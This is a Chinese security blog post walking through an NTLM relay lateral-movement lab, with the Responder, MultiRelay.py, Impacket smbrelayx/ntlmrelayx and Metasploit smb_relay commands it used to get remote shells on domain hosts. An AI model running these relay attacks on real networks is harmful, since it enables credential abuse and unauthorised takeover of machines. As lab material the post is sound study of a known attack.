freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透之横向移动 -- 针对Net NTLM Hash攻击
2021-10-29 11:46:34

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

NTLM重放攻击

如果我们获取的Hash为NTLM Hashv1,那么我们可以通过直接跑字典来尝试爆破,但是如今大多都只能拿到Hashv2,除非有强大的字典,否则尝试暴力破解是非常错误的选择,此时,我们可以尝试使用NTLM重放攻击

所谓重放攻击,就是要将截获的Net-NTLM Hash重放给其他机器来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

事实上,只要是支持NTLM SSP的协议,都可以Relay过去,比如常见的有:SMB、EWS和LDAP。本文主要讲的是SMB。

攻击环境

攻击机:
kali(外网ip:192.168.200.4、内网ip:10.10.10.66)
域内环境:
windows server 2016(DC)(内网ip:10.10.10.10)
windows server 2012(内网ip:10.10.10.12、外网ip:192.168.200.20)
windows server 2008(内网ip:10.10.10.18)

NTLM重放

微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。

自从 MS08-068 漏洞修复之后无法再将 Net-NTLM哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。

说人话就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限

在开启了SMB Signing的情况下,在SMB协议利用NTLM SSP进行了身份验证后,后续的所有数据包,都会利用NTLM SSP生成的这个session key进行签名。SMB服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。

NTLM SSP在生成session key的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而relay型的攻击,都是站在一个中间人的位置,我们是不可能知道原始 LM HASH或NT HASH的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个session key的,自然也就无法对数据包进行签名。

SMB签名是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话,即使NTLM会话还是可能被Relay,服务器也不会被利用,因为攻击者缺少会话密钥。在Active
Directory网络中只有域名控制器默认开启SMB签名,其他的所有服务器或工作组默认不受保护

使用Responder中的MultiRelay.py

再进行攻击之前,先使用Responder内的RunFinger.py脚本查看域内主机的SMB端口开放情况

./RunFinger.py -i 10.10.10.1/24


image.png

发现除了域控(10.10.10.10)其他的SMB签名都是关闭的的,其中windows server 2012登陆的是域管理员账号,win7登陆的是本地管理员账号

确定好目标主机关闭了SMB签名后使用MultiRelay.py进行攻击,由于域控打开了smb签名,所以只能对2012(10.10.10.12)下手

python MultiRelay.py -t 10.10.10.12 -u ALL

然后在域控访问kali

net use \\10.10.10.66

成功反弹shell

image.png

然后我把2012的登录切换为域用户,发现依旧可以拿到shell,而且依旧是system权限,可以发现此方法不受目标当前登录用户影响

但是对于win7就无法拿到shell,是因为win7不在域中,没法登陆域管理员账号

使用Imapcket

smbrelayx.py

使用Impacket中的smbrelayx.py

首先先在目标机器使用命令

python3 ./smbrelayx.py -h 10.10.10.18 -c whoami

image.png

然后让其他登陆了域管理员的主机访问攻击者的ip(如果用的是域用户可能会不够权限执行某些命令)

image.png

可以看到返回了命令执行后的效果,以及使用的Net-Hash值

image.png

ntlmrelayx.py

ntlmrelayx.py 脚本可以直接用现有的hash去尝试重放指定的机器

首先先配置responder的配置文件,关闭对SMB和HTTP的监听,然后再启动

responder -I eth0

然后再使用ntlmrelayx脚本

./ntlmrelayx.py -t 10.10.10.18 -c ipconfig

image.png

然后我们只需要其他主机访问我们搭建的HTTP服务或者是SMB服务,这样就可以获得Hash以登录

如果想要目标访问HTTP服务的话,可以让KALI搭建一个服务器

service apache2 start

然后让其他主机登陆这个ip,然后在弹窗处填入用户名和密码即可,填写的用户权限就是我们可以拿到的权限

image.png

使用Metasploit

使用模块

exploit/windows/smb/smb_relay //实质上是ms08-068

注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现Failed to authenticate的情况

配置好payload、监听的ip和端口后即可启动

image.png

image.png

然后让目标主机执行命令

dir \\192.168.200.4\c$

但是可以发现,此模块不是讲hash传递给其他的主机,而是传递回了自己,但是在上面说到,微软发布了补丁防止这种行为,虽然可以绕过

微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。

而我测试的主机是2008 R2,说明高于此版本的系统正常情况下都不可以使用

image.png

参考文章

[横向移动之smb中继攻击 - 简书(jianshu.com)]

[内网渗透测试:NTLM Relay攻击分析 -FreeBuf网络安全行业门户]

# 渗透测试 # 内网渗透 # 漏洞分析 # NTLM # 横向移动
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录